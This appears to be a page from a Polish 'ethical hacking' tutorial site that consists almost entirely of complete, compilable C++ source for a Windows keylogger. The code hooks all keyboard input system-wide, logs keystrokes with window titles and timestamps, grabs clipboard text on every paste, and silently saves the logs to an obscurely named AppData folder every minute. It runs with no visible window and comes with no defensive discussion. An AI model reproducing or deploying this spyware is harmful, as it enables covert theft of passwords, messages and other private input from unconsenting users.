haker.info / haker.com.pl

Learn ethical hacking

MS Visual C++ Keylogger Sample

```
#include <Windows.h>
#include <WinUser.h>
#include <strsafe.h>
#include <Shlobj.h>
#include <cstdlib>
#include <fstream>
#include <map>
#include <locale>
#include <codecvt>
#include <string>

#pragma comment(lib, "shell32.lib")

wchar_t c[] = L"haker.info & haker.com.pl";

UINT logIntervalInMinutes = 1;

HHOOK hKeyboardHook = 0;
std::wstring keyboardLog;
HWND hPreviousWindow = NULL;

std::map<DWORD, std::wstring> keys1 =
{
    { VK_RETURN, L"\r\n" },
    { VK_BACK, L"[Backspace]" },
    { VK_ESCAPE, L"[Escape]" },
    { VK_CAPITAL, L"[Capslock]" },
    { VK_DELETE, L"[Delete]" },
    { VK_SPACE, L" " },
    { VK_MULTIPLY, L"*" },
    { VK_ADD, L"+" },
    { VK_SUBTRACT, L"-" },
    { VK_DECIMAL, L"." },
    { VK_DIVIDE, L"/" },
    { VK_NUMPAD0, L"0" },{ VK_NUMPAD1, L"1" },
    { VK_NUMPAD2, L"2" },{ VK_NUMPAD3, L"3" },
    { VK_NUMPAD4, L"4" },{ VK_NUMPAD5, L"5" },
    { VK_NUMPAD6, L"6" },{ VK_NUMPAD7, L"7" },
    { VK_NUMPAD8, L"8" },{ VK_NUMPAD9, L"9" },
};

std::map<DWORD, std::wstring> keys2
{
    { VK_OEM_COMMA , L"<," },
    { VK_OEM_1 , L":;" },
    { VK_OEM_2 , L"?/" },
    { VK_OEM_3 , L"~`" },
    { VK_OEM_4 , L"{[" },
    { VK_OEM_5 , L"|\\" },
    { VK_OEM_6 , L"}]" },
    { VK_OEM_7 , L"\"'" },
    { VK_OEM_PERIOD , L">." },
    { VK_OEM_PLUS , L"+=" },
    { VK_OEM_MINUS , L"_-" },
    { 48 , L")0" },{ 49 , L"!1" },
    { 50, L"@2" },{ 51 , L"#3" },
    { 52 , L"$4" },{ 53 , L"%5" },
    { 54 , L"^6" },{ 55 , L"&7" },
    { 56 , L"*8" },{ 57 , L"(9" }
};

std::map<DWORD, std::wstring> accentKeys
{
    { 65 , L"Aą" },{ 67 , L"Cć" },
    { 69 , L"Ęę" },{ 76 , L"Ł1" },
    { 78 , L"Ńń" },{ 79 , L"Óó" },
    { 83 , L"Śś" },{ 88 , L"Zż" },
    { 90 , L"Źź" }
};

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;

    BOOL bShift = FALSE;
    BOOL bCapital = FALSE;

    if (nCode < HC_ACTION)
    {
        return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
    }

    if (GetForegroundWindow() != hPreviousWindow)
    {
        WCHAR szWindowTitle[256];
        WCHAR szWindowTitleFormatted[512];

        hPreviousWindow = GetForegroundWindow();
        GetWindowText(hPreviousWindow, szWindowTitle, 256);

        SYSTEMTIME st;
        GetLocalTime(&st);

        StringCchPrintf(szWindowTitleFormatted, 512, L" \r\n[ %02d:%02d:%02d — %s ] \r\n",
            st.wHour, st.wMinute, st.wSecond, szWindowTitle);

        keyboardLog.append(szWindowTitleFormatted);
    }

    std::wstring currentKey;
    UINT index = 0;

    bShift = (GetAsyncKeyState(VK_LSHIFT) & 0x8000 || GetAsyncKeyState(VK_RSHIFT) & 0x8000) ? TRUE : FALSE;
    bCapital = GetAsyncKeyState(VK_CAPITAL) & 0x8000 ? TRUE : FALSE;

    std::map<DWORD, std::wstring>::iterator it3 = accentKeys.find(pKbdLLHookStruct->vkCode);

    if (it3 != accentKeys.end() && (pKbdLLHookStruct->flags & LLKHF_ALTDOWN) && (wParam == WM_SYSKEYUP))
    {
        index = bShift || bCapital ? 0 : 1;
        currentKey = it3->second[index];
    }

    if (wParam == WM_KEYDOWN)
    {
        if (GetAsyncKeyState(VK_CONTROL) != 0 && pKbdLLHookStruct->vkCode == 0x56)
        {
            if (IsClipboardFormatAvailable(CF_TEXT))
            {
                OpenClipboard(0);
                HANDLE hClipboard = GetClipboardData(CF_TEXT);

                if (hClipboard != NULL)
                {
                    LPSTR pszText = static_cast<LPSTR>(GlobalLock(hClipboard));
                    if (pszText != NULL)
                    {
                        std::string text(pszText);

                        std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
                        std::wstring wide = converter.from_bytes(text);
                        keyboardLog.append(wide);
                    }

                    GlobalUnlock(hClipboard);
                }

                CloseClipboard();
            }

            return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
        }
    }

    if (wParam == WM_KEYUP)
    {
        std::map<DWORD, std::wstring>::iterator it = keys1.find(pKbdLLHookStruct->vkCode);
        std::map<DWORD, std::wstring>::iterator it2 = keys2.find(pKbdLLHookStruct->vkCode);

        if (it != keys1.end())
        {
            currentKey = it->second;
        }
        else if (it2 != keys2.end())
        {
            index = bShift ? 0 : 1;
            currentKey = it2->second[index];
        }

        if (pKbdLLHookStruct->vkCode >= 65 && pKbdLLHookStruct->vkCode <= 90)
        {
            int ASCIIkey = pKbdLLHookStruct->vkCode;
            currentKey = bCapital || bShift ? toupper(ASCIIkey) : tolower(ASCIIkey);
        }
    }
    if (currentKey.length() > 0)
    {
        keyboardLog.append(currentKey);
    }

    return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

void SaveLogFile(std::wstring logContent)
{
    WCHAR logPath[512];
    WCHAR logFileName[128];

    BOOL result = SHGetSpecialFolderPath(0, logPath, CSIDL_APPDATA, false);

    if (FAILED(result))
        return;

    StringCchCat(logPath, 512, L"\\zxcvb");
    CreateDirectory(logPath, NULL);

    SYSTEMTIME st;
    GetLocalTime(&st);
    StringCchPrintf(logFileName, 128, L"\\log_%04d_%02d_%02d_%02d_%02d_%02d.txt",
        st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
    StringCchCat(logPath, 512, logFileName);

    int charCount = WideCharToMultiByte(CP_UTF8, 0, keyboardLog.c_str(), keyboardLog.length() * 1, NULL, 0, NULL, NULL);
    std::string stringLog;
    stringLog.resize(charCount);
    WideCharToMultiByte(CP_UTF8, 0, keyboardLog.c_str(), keyboardLog.length() + 1,
        const_cast<PCHAR>(stringLog.c_str()), charCount, NULL, NULL);

    std::ofstream fs(logPath);
    fs << stringLog.c_str();
    fs.close();
}

void CALLBACK MyTimerProc(HWND hwnd, UINT uMsg, UINT_PTR idEvent, DWORD dwTime)
{
    SaveLogFile(keyboardLog);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);
    if (hKeyboardHook == NULL)
        ExitProcess(0);

    SetTimer(NULL, 777, logIntervalInMinutes * 60 * 1000, (TIMERPROC)MyTimerProc);

#if _DEBUG
    MessageBox(0, L"Keylogger jest aktywny. Kliknij OK, aby zakończyć.", L"Informacja", 0);
    ExitProcess(0);
#endif

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    UnhookWindowsHookEx(hKeyboardHook);

    return (int)msg.wParam;
}
```